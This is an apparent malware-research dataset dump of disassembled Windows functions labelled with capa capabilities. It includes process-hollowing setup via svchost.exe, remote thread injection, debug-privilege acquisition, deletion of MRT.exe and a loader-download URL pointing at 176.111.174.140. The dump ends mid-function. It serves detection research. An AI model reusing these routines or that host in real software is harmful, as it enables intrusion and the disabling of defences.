joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140137c10
Capabilities:
Encode data using xor

Disassembly:
push r12
push r13
push r14
sub rsp, 0x150
mov rax, qword [0x14030a100]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov dword [rsp + 0x60], r8d
mov r14, rcx
mov qword [rsp + 0x68], rdx
test rcx, rcx
je 0x140137eca
test rdx, rdx
je 0x140137eca
cmp r8d, 0x10000
ja 0x140137eca
cmp byte [rcx + 0x18], 1
je 0x140137c6b
mov eax, 0xffffff39
jmp 0x140137ecf
mov rcx, qword [rcx + 0x10]
mov qword [rsp + 0x188], rbx
mov qword [rsp + 0x130], r15
call fcn.1401372e0
xor r15d, r15d
mov ebx, eax
cmp eax, 2
jne 0x140137e94
lea rax, [rsp + 0xa0]
mov ebx, 1
mov qword [rsp + 0x38], rax
lea r9, [0x1402f0128]
lea rax, [0x1402f0260]
mov dword [rsp + 0x30], 0x20
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0x30
mov ecx, ebx
call fcn.140137fe0
test eax, eax
jne 0x140137e9d
xorps xmm3, xmm3
lea rcx, [0x1402f0160]
xorps xmm4, xmm4
mov eax, r15d
nop dword [rax + rax]
movd xmm2, dword [rax + rcx]
xorps xmm0, xmm0
movd xmm1, dword [rsp + rax + 0xa0]
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm1, xmm0
xorps xmm2, xmm1
movd xmm1, dword [rax + rcx + 4]
orps xmm3, xmm2
punpcklbw xmm1, xmm0
movd xmm2, dword [rsp + rax + 0xa4]
add rax, 8
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
xorps xmm2, xmm1
orps xmm2, xmm4
movdqa xmm4, xmm2
cmp rax, 0x80
jl 0x140137cf0
orps xmm3, xmm2
movdqa xmm0, xmm3
psrldq xmm0, 8
orps xmm3, xmm0
movdqa xmm0, xmm3
psrldq xmm0, 4
orps xmm3, xmm0
movd eax, xmm3
test eax, eax
jne 0x140137e9d
mov r9d, ebx
mov qword [rsp + 0x138], rdi
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
mov rcx, r14
push rbx
call 0x1405d06e5
mov edi, 0x24
test eax, eax
je 0x140137e73
mov rcx, qword [r14]
lea r8, [rsp + 0x70]
mov edx, edi
push rbx
call 0x1405cd5bc
test eax, eax
je 0x140137e73
mov rcx, qword [r14]
xor edx, edx
mov qword [rsp + 0x148], rbp
mov qword [rsp + 0x140], rsi
call 0x1405d0416
int3
lea rax, [rsp + 0x70]
nop dword [rax + rax]
mov byte [rax], r15b
lea rax, [rax + 1]
add edi, 0xffffffff
jne 0x140137e80
mov rdi, qword [rsp + 0x138]
test ebx, ebx
je 0x140137eb5
cmp ebx, 3
jne 0x140137eaa
mov r15d, 0xffffff2f
mov byte [r14 + 0x18], 3
jmp 0x140137eb5
mov r15d, 0xffffff39
mov byte [r14 + 0x18], 2
mov rbx, qword [rsp + 0x188]
mov eax, r15d
mov r15, qword [rsp + 0x130]
jmp 0x140137ecf
mov eax, 0xffffff53
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.14013d5b0
add rsp, 0x150
pop r14
pop r13
pop r12
ret
Function at 0x140165140
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140165168
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140165168
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14000159c
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rax - 0x448]
sub rsp, 0x520
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x14002f6c0]
xor rax, rsp
mov qword [rbp + 0x410], rax
mov esi, edx
mov rdi, rcx
xor r14d, r14d
mov word [rbp + 0x200], r14w
mov ebx, 0x206
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x202]
call fcn.14000f5d0
mov word [rbp - 0x10], r14w
mov r8d, ebx
xor edx, edx
lea rcx, [rbp - 0xe]
call fcn.14000f5d0
lea rdx, [rbp - 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rbp + 0x200]
xor r8d, r8d
lea rdx, [0x14002777c]
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov qword [rbp - 0x50], 7
mov qword [rbp - 0x58], r14
mov word [rbp - 0x68], r14w
lea r8d, [r14 + 4]
lea rdx, [0x140027770]
lea rcx, [rbp - 0x68]
call fcn.1400020f4
nop
lea rdx, [rbp + 0x200]
lea rcx, [rbp - 0x68]
call fcn.140001e14
mov word [rbp - 0x48], r14w
xor eax, eax
mov qword [rbp - 0x46], rax
mov dword [rbp - 0x3e], eax
mov word [rbp - 0x3a], ax
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 8
cmovae rdx, qword [rbp - 0x68]
lea rcx, [rbp - 0x48]
call qword [0x140045050]
xor edx, edx
lea r8d, [r14 + 0x28]
lea rcx, [rsp + 0x68]
call fcn.14000f5d0
mov dword [rsp + 0x60], 0x30
mov qword [rsp + 0x68], r14
mov dword [rsp + 0x78], 0x40
lea rax, [rbp - 0x48]
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x20], r14
xor eax, eax
mov qword [rbp - 0x18], rax
or r15, 0xffffffffffffffff
mov qword [rsp + 0x58], r15
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
lea r9, [rbp - 0x20]
lea r8, [rsp + 0x60]
mov edx, 0xc0110000
lea rcx, [rsp + 0x58]
call qword [0x1400450c8]
test eax, eax
jns 0x140001724
cmp qword [rbp - 0x50], 8
jb 0x1400017c9
mov rcx, qword [rbp - 0x68]
call fcn.140007afc
jmp 0x1400017c9
mov rbx, qword [rsp + 0x58]
cmp qword [rbp - 0x50], 8
jb 0x140001739
mov rcx, qword [rbp - 0x68]
call fcn.140007afc
mov qword [rbp - 0x50], 7
mov qword [rbp - 0x58], r14
mov word [rbp - 0x68], r14w
lea rax, [rbx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1400017c9
mov qword [rbp - 0x30], r14
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov byte [rbp - 0x70], 1
mov dword [rsp + 0x20], 0xd
lea r9d, [rcx + 1]
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x30]
mov rcx, rbx
call qword [0x140045058]
test eax, eax
js 0x1400017c9
mov qword [rbp - 0x38], r14
mov qword [rsp + 0x40], r14
lea rax, [rbp - 0x38]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rdi
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [0x140045070]
test eax, eax
jns 0x1400017c4
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400017c9
mov rax, rbx
jmp 0x1400017cc
mov rax, r15
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.14000ba80
mov rbx, qword [rsp + 0x560]
add rsp, 0x520
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400017f4
Capabilities:
Get file size
Write file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x14002f6c0]
xor rax, rsp
mov qword [rsp + 0x50], rax
and qword [r11 - 0x28], 0
mov qword [r11 - 0x38], rcx
mov rbx, rcx
lea rcx, [r11 - 0x28]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf001f
mov dword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], 2
call qword [0x1400450a8]
test eax, eax
je 0x14000184a
or rax, 0xffffffffffffffff
jmp 0x1400018c7
lea rdx, [rsp + 0x4c]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
lea edi, [rax - 0xc]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x1400018a4
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
lea rdx, [0x140027784]
mov r8d, 8
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
sub edi, dword [rsp + 0x48]
mov rcx, rbx
cmp edi, 8
ja 0x14000186e
call qword [0x1400450b8]
mov rdx, qword [rsp + 0x40]
or rax, 0xffffffffffffffff
lea rcx, [rdx - 1]
cmp rcx, 0xfffffffffffffffd
cmovbe rax, rdx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14000ba80
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x1400018e0
Capabilities:
Parse pe header
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x14002f6c0]
xor rax, rsp
mov qword [rbp + 0x210], rax
mov r14, rcx
mov rbx, rdx
lea rcx, [rbp + 2]
xor r15d, r15d
xor edx, edx
mov r8d, 0x206
mov rsi, r9
mov word [rbp], r15w
call fcn.14000f5d0
lea rcx, [rbp]
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], r15w
jne 0x140001936
sub rax, 2
cmp word [rbp + rax*2], 0x5c
je 0x140001959
cmp word [rbp + rax*2], 0x2f
je 0x140001959
dec rax
jmp 0x140001944
lea rcx, [rbp + 2]
lea rcx, [rcx + rax*2]
test rcx, rcx
je 0x14000196a
mov word [rcx], r15w
lea rcx, [rbp]
mov edx, 0x104
call fcn.14000c044
lea rdi, [rbp]
lea rcx, str.kernel32
test rax, rax
mov qword [rsp + 0x60], r15
cmove rdi, r15
xor eax, eax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.CreateProcessInternalW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140045048], rax
test rax, rax
je 0x140001b05
xor edx, edx
lea rcx, [rbp - 0x68]
lea r8d, [rdx + 0x60]
call fcn.14000f5d0
xor eax, eax
lea rdx, str.__k_DcomLaunch
mov rcx, r14
mov dword [rbp - 0x70], 0x68
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], r15
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rax, [rbp - 0x80]
xor r9d, r9d
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x60]
mov r8, r14
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x70]
xor edx, edx
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], 0x800000c
xor ecx, ecx
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
call qword [0x140045048]
test eax, eax
je 0x140001b05
mov rdx, qword [rsp + 0x60]
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], 1
lea rax, [rbp - 0x78]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov rcx, rsi
mov qword [rsp + 0x28], r15
mov qword [rbp - 0x78], r15
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x20], r15
call qword [0x140045080]
test eax, eax
je 0x140001a9e
cmp eax, 0x40000003
jne 0x140001b05
mov rdx, qword [rsp + 0x78]
test rdx, rdx
je 0x140001b05
test rbx, rbx
je 0x140001adc
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x140001adc
cmp dword [rbx + 0x3c], 0x400
jg 0x140001adc
movsxd rax, dword [rbx + 0x3c]
add rax, rbx
cmp dword [rax], 0x4550
jne 0x140001adc
mov ecx, 0x20b
cmp word [rax + 0x18], cx
mov al, 1
je 0x140001adf
mov al, r15b
test al, al
lea r8, [rsp + 0x60]
mov rcx, rbx
sete r9b
call fcn.140001450
test al, al
je 0x140001b05
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov al, 1
jmp 0x140001b07
xor al, al
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.14000ba80
mov rbx, qword [rsp + 0x360]
add rsp, 0x320
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001b30
Capabilities:
Link many functions at runtime
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x480
mov rax, qword [0x14002f6c0]
xor rax, rsp
mov qword [rsp + 0x470], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
mov rbx, rax
test rax, rax
je 0x140001ce3
lea rdx, str.NtCreateProcessEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001ce3
lea rdx, str.RtlCreateProcessParametersEx
mov rcx, rbx
mov qword [0x140045090], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001ce3
lea rdx, str.NtCreateThreadEx
mov rcx, rbx
mov qword [0x140045040], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001ce3
lea rdx, str.NtQueryInformationFile
mov rcx, rbx
mov qword [0x140045060], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001c3f
lea rdx, str.NtQuerySystemInformation
mov rcx, rbx
mov qword [0x140045088], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001c3f
lea rdx, str.NtSuspendProcess
mov rcx, rbx
mov qword [0x1400450a0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001c3f
lea rdx, str.NtResumeProcess
mov rcx, rbx
mov qword [0x1400450c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001c3f
mov qword [0x140045068], rax
mov ebx, 0x104
lea rdx, [rsp + 0x260]
xor ecx, ecx
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x52]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x50], di
call fcn.14000f5d0
lea rdx, [rsp + 0x50]
lea rcx, str._SystemRoot__system32_svchost.exe
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x260]
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor r9d, r9d
xor edx, edx
mov rcx, rax
lea r8d, [r9 + 2]
mov qword [rsp + 0x28], rdi
mov rbx, rax
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rcx, rbx
test rax, rax
jne 0x140001d0b
call qword [0x1400452b0]
or eax, 0xffffffff
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.14000ba80
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
lea rdx, [rsp + 0x40]
mov r8, rax
call fcn.140004de4
mov rsi, rax
test rax, rax
je 0x140001ce3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rsp + 0x40]
mov rcx, rsi
call fcn.14000159c
mov rcx, rax
call fcn.1400017f4
lea rcx, [rsp + 0x50]
mov rdx, rsi
mov r9, rax
call fcn.1400018e0
mov rdx, qword [rsp + 0x40]
mov r8d, 0x4000
mov rcx, rsi
mov bl, al
call qword [0x1400451f8]
test bl, bl
setne dil
mov eax, edi
jmp 0x140001ce6
Function at 0x140003474
Capabilities:
Acquire debug privileges

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov qword [rbp - 0x50], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14002f6c0]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov edi, r8d
mov esi, dword [0x1400453e4]
mov r14, qword [0x1400452d0]
xor r15d, r15d
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], r15
xor eax, eax
mov qword [rbp - 0x38], rax
lea ebx, [rax + 1]
mov qword [rbp - 0x18], 7
mov qword [rbp - 0x20], r15
mov word [rbp - 0x30], r15w
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x48]
lea edx, [rbx + 0x27]
call qword [0x140045210]
test eax, eax
je 0x14000353f
mov dword [rbp - 0x40], ebx
mov dword [rbp - 0x34], 2
lea r8, [rbp - 0x3c]
lea rdx, [0x140027ca0]
xor ecx, ecx
call qword [0x140045220]
test eax, eax
je 0x140003535
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp - 0x40]
xor edx, edx
mov rcx, qword [rbp - 0x48]
call qword [0x1400451c8]
mov rcx, qword [rbp - 0x48]
call qword [0x1400452b0]
mov r8d, edi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x14000355c
mov ebx, r15d
jmp 0x14000358a
mov r8d, esi
mov rdx, r14
mov rcx, rax
call fcn.1400037f8
test rax, rax
jne 0x140003574
mov ebx, r15d
jmp 0x140003580
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, ebx
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14000ba80
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140003714
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
mov rbx, rcx
mov ecx, 0x10b
cmp word [rax + rbx + 0x18], cx
je 0x1400037b7
mov ecx, 0x20b
cmp word [rax + rbx + 0x18], cx
jne 0x1400037b7
mov ecx, dword [rax + rbx + 0x88]
mov rdx, rbx
call fcn.1400036a8
mov rdx, rbx
mov r14d, eax
add r14, rbx
mov ecx, dword [r14 + 0x20]
call fcn.1400036a8
mov ecx, dword [r14 + 0x24]
mov rdx, rbx
mov esi, eax
add rsi, rbx
call fcn.1400036a8
mov ebp, dword [r14 + 0x18]
mov edi, eax
add rdi, rbx
jmp 0x1400037b3
mov ecx, dword [rsi]
mov rdx, rbx
dec ebp
call fcn.1400036a8
lea rdx, [0x140027cd0]
mov ecx, eax
add rcx, rbx
call fcn.14000c788
test rax, rax
jne 0x1400037d4
add rsi, 4
add rdi, 2
test ebp, ebp
jne 0x140003789
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov ecx, dword [r14 + 0x1c]
mov rdx, rbx
call fcn.1400036a8
movzx r8d, word [rdi]
mov rdx, rbx
mov ecx, eax
add rcx, rbx
mov ecx, dword [rcx + r8*4]
call fcn.1400036a8
jmp 0x1400037b9
Function at 0x1400037f8
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x14002f6c0]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov r14d, r8d
mov rsi, rdx
mov rdi, rcx
xor ebx, ebx
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x4c], ebx
test rcx, rcx
je 0x1400038ec
test rdx, rdx
je 0x1400038ec
test r8d, r8d
je 0x1400038ec
mov rcx, rdx
call fcn.140003714
mov r12d, eax
test eax, eax
je 0x1400038ec
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, r14d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x1400038ec
mov dword [rsi + 2], r14d
mov qword [rsp + 0x20], rbx
mov r9d, r14d
mov r8, rsi
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400038ec
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 0x20]
mov r8d, r14d
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x1400038ec
lea r9, [r15 + r12]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor edx, edx
mov r8d, 0x100000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
mov qword [rsp + 0x40], rax
jmp 0x1400038f5
mov rax, rbx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14000ba80
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret

Function at 0x140003b04
Capabilities:
Create thread
Delete file
Get common file path

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x1a8]
sub rsp, 0x2a0
mov qword [rsp + 0x70], 0xfffffffffffffffe
mov qword [rax + 8], rsi
mov rax, qword [0x14002f6c0]
xor rax, rsp
mov qword [rbp + 0x190], rax
call fcn.140006e84
mov edx, 0x104
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor esi, esi
test eax, eax
je 0x140003b6d
lea r8, str.MRT.exe
mov edx, 0x104
lea rcx, [rbp - 0x80]
call fcn.14000e9b4
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.140006084
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140003930]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r8d, 0x25
lea rdx, str.http:__176.111.174.140_api_loader.bin
lea rcx, [rsp + 0x30]
call fcn.1400020f4
nop
mov qword [rsp + 0x68], 7
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
mov r8d, 0x25
lea rdx, str.http:__176.111.174.140_api_loader.bin
lea rcx, [rsp + 0x50]
call fcn.1400020f4
nop
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.140003240
mov qword [0x1400452d0], rax
call fcn.140007370
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140003918]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x7a120
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140003c33
Function at 0x140004de4
Capabilities:
Get file size
Read file via mapping

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r14
sub rsp, 0x30
and qword [rax - 0x18], 0
mov rbx, r8
xor r9d, r9d
mov r14, rdx
mov rsi, rcx
lea edx, [r9 + 4]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
jne 0x140004e38
mov rcx, rbx
call qword [0x1400452b0]
mov rcx, rsi
call qword [0x1400452b0]
xor eax, eax
jmp 0x140004e85
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor ecx, ecx
mov r8d, 0x3000
mov edx, eax
lea r9d, [rcx + 4]
mov qword [r14], rdx
call qword [0x140045198]
mov rsi, rax
test rax, rax
je 0x140004e34
mov r8, qword [r14]
mov rdx, rdi
mov rcx, rax
call fcn.14000bb60
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rbx
call qword [0x1400452b0]
mov rax, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x140005cec
Capabilities:
Create directory

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14002f6c0]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x31]
lea r8d, [rdx + 0x22]
mov byte [rsp + 0x30], 0
call fcn.14000f5d0
lea rcx, [rsp + 0x30]
call fcn.140005bcc
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [0x140045280]
lea rdx, [0x140028424]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [0x140028424]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str..exe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000ba80
add rsp, 0x60
pop rbx
ret
Function at 0x140006404
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x14002f6c0]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140006443
xor al, al
jmp 0x140006493
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebx, ebx
test eax, eax
je 0x140006488
jmp 0x140006472
lea rcx, [rsp + 0x4c]
mov rdx, rsi
call fcn.14000c968
test eax, eax
je 0x140006486
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006461
jmp 0x140006488
mov bl, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14000ba80
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x1400064b8
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x1a8]
sub rsp, 0x2a0
mov rax, qword [0x14002f6c0]
xor rax, rsp
mov qword [rbp + 0x198], rax
xor esi, esi
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140006504
xor eax, eax
jmp 0x1400065df
or eax, 0xffffffff
lea rdx, [rsp + 0x30]
mov rcx, rbx
mov dword [rsp + 0x30], 0x238
mov dword [rbp + 0x170], eax
mov dword [rbp + 0x174], eax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x1400065cc
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x5c]
call fcn.14001b0f8
test eax, eax
jne 0x1400065be
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400065be
lea rax, [rbp + 0x180]
lea r9, [rbp + 0x190]
lea r8, [rbp + 0x188]
lea rdx, [rbp + 0x178]
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
test eax, eax
je 0x1400065b5
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_CompareFileTime]
